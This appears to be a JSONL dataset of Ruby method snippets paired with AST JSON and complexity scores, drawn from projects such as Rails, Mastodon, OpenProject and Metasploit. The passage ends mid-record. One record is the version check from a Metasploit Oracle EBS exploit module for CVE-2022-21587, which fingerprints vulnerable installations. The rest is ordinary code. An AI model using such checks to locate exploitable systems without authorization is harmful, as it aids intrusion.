{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/rr/types.rb","start_line":80,"raw_source":"def self.default=(str)\n          if Types.has_key? str\n            @@default = Types[str]\n          else\n            raise TypeArgumentError, \"Unknown type #{str}\"\n          end\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"cvasgn\",\"children\":[\"@@default\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TypeArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown type \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}]}]}","id":"e3a1bb04-ad2a-4ef0-a05c-d3a11e0f54b4"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/variable_number.rb","start_line":114,"raw_source":"def on_arg(node)\n          @node = node\n          return if allowed_identifier?(node.name)\n\n          check_name(node, node.name, node.loc.name)\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_arg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_identifier?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"check_name\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"name\"]}]}]}]}","id":"568aa26c-b51e-46f1-ad46-fe2b04b05884"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":919,"raw_source":"def test_has_when_does_not_have_it\n    array = [\n      { \"handle\" => \"alpha\", \"ok\" => false },\n      { \"handle\" => \"beta\", \"ok\" => false },\n      { \"handle\" => \"gamma\", \"ok\" => false },\n      { \"handle\" => \"delta\", \"ok\" => false },\n    ]\n\n    expected_output = \"false\"\n\n    assert_template_result(expected_output, \"{{ array | has: 'ok' }}\", { \"array\" => array })\n    assert_template_result(expected_output, \"{{ array | has: 'ok', true }}\", { \"array\" => array })\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_when_does_not_have_it\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"array\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"alpha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"beta\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"gamma\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"delta\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_output\",{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"expected_output\"]},{\"type\":\"str\",\"children\":[\"{{ array | has: 'ok' }}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"array\"]},{\"type\":\"lvar\",\"children\":[\"array\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"expected_output\"]},{\"type\":\"str\",\"children\":[\"{{ array | has: 'ok', true }}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"array\"]},{\"type\":\"lvar\",\"children\":[\"array\"]}]}]}]}]}]}","id":"0e21d7c3-ed21-4adf-9f94-4238bd07652c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/oracle_ebs_rce_cve_2022_21587.rb","start_line":69,"raw_source":"def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => '/OA_HTML/FrmReportData'\n    )\n\n    return CheckCode::Unknown('Connection failed') unless res\n\n    return CheckCode::Unknown unless res.code == 200\n\n    match = res.body.match(%r{jsLibs/Common(\\d+_\\d+_\\d+)})\n\n    if match && (match.length == 2)\n      version = Rex::Version.new(match[1].gsub('_', '.'))\n\n      if version.between?(Rex::Version.new('12.2.3'), Rex::Version.new('12.2.11'))\n        return CheckCode::Appears(\"Oracle EBS version #{version} detected.\")\n      end\n\n      return CheckCode::Safe(\"Oracle EBS version #{version} detected.\")\n    end\n\n    CheckCode::Safe\n  end","complexity_score":29.08,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/OA_HTML/FrmReportData\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"jsLibs/Common(\\\\d+_\\\\d+_\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"12.2.3\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"12.2.11\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Oracle EBS version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" detected.\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Oracle EBS version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" detected.\"]}]}]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"89886c70-32fd-4f93-8f0f-ac56074c44f8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/loader/executable.rb","start_line":26,"raw_source":"def read_script_env_runtime(full_path)\n    # Extract the runtime from the first line of the script, i.e.\n    #   #!/usr/bin/env python\n    #   //usr/bin/env go run \"$0\" \"$@\"; exit \"$?\"\n    first_line = File.open(full_path, 'rb') { |f| f.gets }\n    first_line.to_s[%r{\\A(?:#!|/)/usr/bin/env\\s+(\\w+)}, 1]\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"read_script_env_runtime\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_line\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"full_path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"gets\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_line\"]},\"to_s\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:#!|/)/usr/bin/env\\\\s+(\\\\w+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"40dab2b3-dbe8-4642-a2ec-3a56a2634d4f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":483,"raw_source":"def test_primary_key_assuming_schema_search_path\n    with_schema_search_path(\"#{SCHEMA_NAME}, #{SCHEMA2_NAME}\") do\n      assert_equal \"id\", @connection.primary_key(PK_TABLE_NAME), \"primary key should be found\"\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_primary_key_assuming_schema_search_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_schema_search_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCHEMA_NAME\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCHEMA2_NAME\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"primary_key\",{\"type\":\"const\",\"children\":[null,\"PK_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"primary key should be found\"]}]}]}]}","id":"62728105-d829-4677-819a-2b3dba6db0bf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/json_serialization_test.rb","start_line":163,"raw_source":"def test_serializable_hash_should_not_modify_options_in_argument\n    options = { only: :name }.freeze\n    assert_nothing_raised { @contact.serializable_hash(options) }\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_serializable_hash_should_not_modify_options_in_argument\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"freeze\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"serializable_hash\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"e675c569-c0d5-4665-aba4-75ad2bdcf704"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/fixtures.rb","start_line":696,"raw_source":"def check_all_foreign_keys_valid!(conn)\n          return unless ActiveRecord.verify_foreign_keys_for_fixtures\n\n          begin\n            conn.check_all_foreign_keys_valid!\n          rescue ActiveRecord::StatementInvalid => e\n            raise \"Foreign key violations found in your fixture data. Ensure you aren't referring to labels that don't exist on associations. Error from database:\\n\\n#{e.message}\"\n          end\n        end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_all_foreign_keys_valid!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"verify_foreign_keys_for_fixtures\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"check_all_foreign_keys_valid!\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Foreign key violations found in your fixture data. Ensure you aren't referring to labels that don't exist on associations. Error from database:\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}]}","id":"77b3946e-cbbd-4d68-8d95-cc3d6d237617"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":689,"raw_source":"def community_bot?\n    type_of == \"community_bot\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"community_bot?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type_of\"]},\"==\",{\"type\":\"str\",\"children\":[\"community_bot\"]}]}]}","id":"5d151d92-f6db-4550-a57e-f65a31d2d701"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/user.rb","start_line":400,"raw_source":"def failed_too_many_recent_login_attempts?\n    block_threshold = Setting.brute_force_block_after_failed_logins.to_i\n    return false if block_threshold == 0 # disabled\n\n    last_failed_login_within_block_time? and\n      failed_login_count >= block_threshold\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"failed_too_many_recent_login_attempts?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block_threshold\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"brute_force_block_after_failed_logins\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_threshold\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_failed_login_within_block_time?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_login_count\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"block_threshold\"]}]}]}]}]}","id":"b3932374-57fc-4be1-bd6e-82ecda196006"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_and_time_behavior.rb","start_line":296,"raw_source":"def test_prev_occurring\n    assert_equal date_time_init(2017, 12, 11, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:monday)\n    assert_equal date_time_init(2017, 12, 12, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:tuesday)\n    assert_equal date_time_init(2017, 12, 13, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:wednesday)\n    assert_equal date_time_init(2017, 12,  7, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:thursday)\n    assert_equal date_time_init(2017, 12,  8, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:friday)\n    assert_equal date_time_init(2017, 12,  9, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:saturday)\n    assert_equal date_time_init(2017, 12, 10, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:sunday)\n  end","complexity_score":65.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_prev_occurring\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},\"prev_occurring\",{\"type\":\"sym\",\"children\":[\"monday\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},\"prev_occurring\",{\"type\":\"sym\",\"children\":[\"tuesday\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[13]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},\"prev_occurring\",{\"type\":\"sym\",\"children\":[\"wednesday\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},\"prev_occurring\",{\"type\":\"sym\",\"children\":[\"thursday\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},\"prev_occurring\",{\"type\":\"sym\",\"children\":[\"friday\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[9]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},\"prev_occurring\",{\"type\":\"sym\",\"children\":[\"saturday\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[15]}]},\"prev_occurring\",{\"type\":\"sym\",\"children\":[\"sunday\"]}]}]}]}]}","id":"e3161ab6-1d9c-470a-ba0e-32b280a51bdb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20160314164231_add_owner_to_application.rb","start_line":4,"raw_source":"def change\n    change_table(:oauth_applications, bulk: true) do |t|\n      t.column :owner_id, :integer, null: true\n      t.column :owner_type, :string, null: true\n    end\n    add_index :oauth_applications, [:owner_id, :owner_type]\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"oauth_applications\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"owner_id\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"owner_type\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"oauth_applications\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner_id\"]},{\"type\":\"sym\",\"children\":[\"owner_type\"]}]}]}]}]}","id":"88cb6c13-dde9-4be9-8259-bb1dc94e4da8"}
{"repo_name":"forem","file_path":"./repos/forem/app/decorators/article_decorator.rb","start_line":44,"raw_source":"def title_length_classification\n    if title.size > 105\n      \"longest\"\n    elsif title.size > 80\n      \"longer\"\n    elsif title.size > 60\n      \"long\"\n    elsif title.size > 22\n      \"medium\"\n    else\n      \"short\"\n    end\n  end","complexity_score":22.15,"ast_json":"{\"type\":\"def\",\"children\":[\"title_length_classification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[105]}]},{\"type\":\"str\",\"children\":[\"longest\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"str\",\"children\":[\"longer\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"str\",\"children\":[\"long\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"str\",\"children\":[\"medium\"]},{\"type\":\"str\",\"children\":[\"short\"]}]}]}]}]}]}","id":"5732f1f1-b68d-4f0f-8a71-0d701edbce5e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf_export/report.rb","start_line":157,"raw_source":"def table_entry(project, value_name, caption)\n      value = format_attribute(project, value_name, :pdf)\n      return nil if hide_empty_attributes? && value.blank?\n\n      if value.is_a?(::Exports::Formatters::LinkFormatter)\n        value = get_cf_link_cell(value)\n      elsif value_name == :id\n        value = make_link_href_cell(url_helpers.project_url(project), value)\n      end\n      [\n        { content: caption }.merge(styles.project_attributes_table_label_cell),\n        value || \"\"\n      ]\n    